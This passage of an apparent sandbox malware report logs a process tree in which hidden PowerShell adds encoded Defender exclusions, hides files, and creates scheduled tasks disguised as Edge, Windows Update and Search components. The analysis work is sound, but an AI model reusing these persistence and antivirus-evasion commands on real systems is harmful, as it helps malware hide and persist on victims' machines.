  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "WLANAutoConfig" /f 2>nul'"
  2⤵
  PID:4168
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v WLANAutoConfig /f 2>nul"
    3⤵
    PID:5796
  - - C:\Windows\system32\reg.exe
      reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v WLANAutoConfig /f
      4⤵
      Modifies registry key
      PID:5324
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WLANAutoConfig" /f 2>nul'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6140
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v WLANAutoConfig /f 2>nul"
    3⤵
    PID:1724
  - - C:\Windows\system32\reg.exe
      reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v WLANAutoConfig /f
      4⤵
      Modifies registry key
      PID:4844
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -Command [System.Environment]::OSVersion.Version.ToString()
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5504
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "MsEdgeUpdate" /f 2>nul'"
  2⤵
  PID:1832
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v MsEdgeUpdate /f 2>nul"
    3⤵
    PID:4588
  - - C:\Windows\system32\reg.exe
      reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v MsEdgeUpdate /f
      4⤵
      Modifies registry key
      PID:3136
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "MsEdgeUpdate" /f 2>nul'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5952
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v MsEdgeUpdate /f 2>nul"
    3⤵
    PID:5696
  - - C:\Windows\system32\reg.exe
      reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v MsEdgeUpdate /f
      4⤵
      Modifies registry key
      PID:412
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate" 2>nul'"
  2⤵
  PID:3940
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:2232
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate
      4⤵
      Views/modifies file attributes
      PID:5840
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand KABHAGUAdAAtAEMAaQBtAEkAbgBzAHQAYQBuAGMAZQAgAFMAbwBmAHQAdwBhAHIAZQBMAGkAYwBlAG4AcwBpAG4AZwBQAHIAbwBkAHUAYwB0ACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBQAGEAcgB0AGkAYQBsAFAAcgBvAGQAdQBjAHQASwBlAHkAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsAEwAaQBjAGUAbgBzAGUAUwB0AGEAdAB1AHMALABQAGEAcgB0AGkAYQBsAFAAcgBvAGQAdQBjAHQASwBlAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAgACcAewAwAH0AIAB8ACAAUwB0AGEAdAB1AHMAOgAgAHsAMQB9ACAAfAAgAEsAZQB5ADoAIAAuAC4ALgB7ADIAfQAnACAALQBmACAAJABfAC4ATgBhAG0AZQAsACQAXwAuAEwAaQBjAGUAbgBzAGUAUwB0AGEAdAB1AHMALAAkAF8ALgBQAGEAcgB0AGkAYQBsAFAAcgBvAGQAdQBjAHQASwBlAHkAIAB9ACkA
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3536
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABFAGQAZwBlAFUAcABkAGEAdABlACcAIAAtAFYAYQBsAHUAZQAgADAAIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAARABXAE8AUgBEACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQBjAGEAdABjAGgAewB9AA==
  2⤵
  PID:2516
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe" 2>nul'"
  2⤵
  PID:4620
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:3496
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe
      4⤵
      Views/modifies file attributes
      PID:5168
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABFAGQAZwBlAFUAcABkAGEAdABlAFwAXABNAHMARQBkAGcAZQBBAHUAdABvAFUAcABkAGEAdABlAC4AZQB4AGUAJwAgAC0AVgBhAGwAdQBlACAAMAAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIABEAFcATwBSAEQAIAAtAEYAbwByAGMAZQB8AE8AdQB0AC0ATgB1AGwAbAB9AGMAYQB0AGMAaAB7AH0A
  2⤵
  PID:5680
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAHIAbwBjAGUAcwBzAGUAcwAnADsAaQBmACgAIQAoAFQAZQBzAHQALQBQAGEAdABoACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAkAGsAKQApAHsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABrACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQA7AE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAkAGsAIAAtAE4AYQBtAGUAIAAnAE0AcwBFAGQAZwBlAEEAdQB0AG8AVQBwAGQAYQB0AGUALgBlAHgAZQAnACAALQBWAGEAbAB1AGUAIAAwACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgAEQAVwBPAFIARAAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AYwBhAHQAYwBoAHsAfQA=
  2⤵
  PID:1936
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "MicrosoftEdgeAutoUpdateTask" /tr ""C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe"" /sc ONLOGON /rl LIMITED /f 2>nul'"
  2⤵
  PID:4004
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn MicrosoftEdgeAutoUpdateTask /tr "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe /sc ONLOGON /rl LIMITED /f 2>nul"
    3⤵
    PID:5932
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn MicrosoftEdgeAutoUpdateTask /tr "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe /sc ONLOGON /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5488
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "MicrosoftEdgeAutoUpdateTask_timer" /tr ""C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe"" /sc MINUTE /mo 2 /rl LIMITED /f 2>nul'"
  2⤵
  PID:3460
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn MicrosoftEdgeAutoUpdateTask_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul"
    3⤵
    PID:4060
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn MicrosoftEdgeAutoUpdateTask_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4132
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Windows\WindowsUpdate" 2>nul'"
  2⤵
  PID:1356
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Windows\WindowsUpdate 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:5164
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Windows\WindowsUpdate
      4⤵
      Views/modifies file attributes
      PID:5540
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABXAGkAbgBkAG8AdwBzAFwAXABXAGkAbgBkAG8AdwBzAFUAcABkAGEAdABlACcAIAAtAFYAYQBsAHUAZQAgADAAIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAARABXAE8AUgBEACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQBjAGEAdABjAGgAewB9AA==
  2⤵
  PID:4640
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Windows\WindowsUpdate\wuauclt.exe" 2>nul'"
  2⤵
  PID:3884
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Windows\WindowsUpdate\wuauclt.exe 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:4708
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Windows\WindowsUpdate\wuauclt.exe
      4⤵
      Views/modifies file attributes
      PID:2616
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABXAGkAbgBkAG8AdwBzAFwAXABXAGkAbgBkAG8AdwBzAFUAcABkAGEAdABlAFwAXAB3AHUAYQB1AGMAbAB0AC4AZQB4AGUAJwAgAC0AVgBhAGwAdQBlACAAMAAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIABEAFcATwBSAEQAIAAtAEYAbwByAGMAZQB8AE8AdQB0AC0ATgB1AGwAbAB9AGMAYQB0AGMAaAB7AH0A
  2⤵
  PID:5828
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAHIAbwBjAGUAcwBzAGUAcwAnADsAaQBmACgAIQAoAFQAZQBzAHQALQBQAGEAdABoACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAkAGsAKQApAHsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABrACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQA7AE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAkAGsAIAAtAE4AYQBtAGUAIAAnAHcAdQBhAHUAYwBsAHQALgBlAHgAZQAnACAALQBWAGEAbAB1AGUAIAAwACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgAEQAVwBPAFIARAAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AYwBhAHQAYwBoAHsAfQA=
  2⤵
  PID:1696
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "WindowsUpdateAgent" /tr ""C:\Users\Admin\AppData\Local\Microsoft\Windows\WindowsUpdate\wuauclt.exe"" /sc ONLOGON /rl LIMITED /f 2>nul'"
  2⤵
  PID:1512
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn WindowsUpdateAgent /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\WindowsUpdate\wuauclt.exe /sc ONLOGON /rl LIMITED /f 2>nul"
    3⤵
    PID:3264
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn WindowsUpdateAgent /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\WindowsUpdate\wuauclt.exe /sc ONLOGON /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3304
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "WindowsUpdateAgent_timer" /tr ""C:\Users\Admin\AppData\Local\Microsoft\Windows\WindowsUpdate\wuauclt.exe"" /sc MINUTE /mo 2 /rl LIMITED /f 2>nul'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1148
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn WindowsUpdateAgent_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\WindowsUpdate\wuauclt.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul"
    3⤵
    PID:5896
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn WindowsUpdateAgent_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\WindowsUpdate\wuauclt.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3476
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\SearchFilter" 2>nul'"
  2⤵
  PID:1624
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\SearchFilter 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:5324
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\SearchFilter
      4⤵
      Views/modifies file attributes
      PID:4832
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABTAGUAYQByAGMAaABGAGkAbAB0AGUAcgAnACAALQBWAGEAbAB1AGUAIAAwACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgAEQAVwBPAFIARAAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AYwBhAHQAYwBoAHsAfQA=
  2⤵
  PID:2612
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\SearchFilter\SearchFilterHost.exe" 2>nul'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4892
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\SearchFilter\SearchFilterHost.exe 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:1276
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\SearchFilter\SearchFilterHost.exe
      4⤵
      Views/modifies file attributes
      PID:5136
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABTAGUAYQByAGMAaABGAGkAbAB0AGUAcgBcAFwAUwBlAGEAcgBjAGgARgBpAGwAdABlAHIASABvAHMAdAAuAGUAeABlACcAIAAtAFYAYQBsAHUAZQAgADAAIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAARABXAE8AUgBEACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQBjAGEAdABjAGgAewB9AA==
  2⤵
  PID:5240
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAHIAbwBjAGUAcwBzAGUAcwAnADsAaQBmACgAIQAoAFQAZQBzAHQALQBQAGEAdABoACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAkAGsAKQApAHsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABrACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQA7AE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAkAGsAIAAtAE4AYQBtAGUAIAAnAFMAZQBhAHIAYwBoAEYAaQBsAHQAZQByAEgAbwBzAHQALgBlAHgAZQAnACAALQBWAGEAbAB1AGUAIAAwACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgAEQAVwBPAFIARAAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AYwBhAHQAYwBoAHsAfQA=
  2⤵
  PID:4252
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "SearchFilterSvc" /tr ""C:\Users\Admin\AppData\Local\Microsoft\SearchFilter\SearchFilterHost.exe"" /sc ONLOGON /rl LIMITED /f 2>nul'"
  2⤵
  PID:5368
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn SearchFilterSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\SearchFilter\SearchFilterHost.exe /sc ONLOGON /rl LIMITED /f 2>nul"
    3⤵
    PID:5580
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn SearchFilterSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\SearchFilter\SearchFilterHost.exe /sc ONLOGON /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4160
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "SearchFilterSvc_timer" /tr ""C:\Users\Admin\AppData\Local\Microsoft\SearchFilter\SearchFilterHost.exe"" /sc MINUTE /mo 2 /rl LIMITED /f 2>nul'"
  2⤵
  PID:4760
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn SearchFilterSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\SearchFilter\SearchFilterHost.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul"
    3⤵
    PID:2032
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn SearchFilterSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\SearchFilter\SearchFilterHost.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4436
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\MediaPlayer\Config" 2>nul'"
  2⤵
  PID:5840
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\MediaPlayer\Config 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:4856
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\MediaPlayer\Config
      4⤵
      Views/modifies file attributes
      PID:2100
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
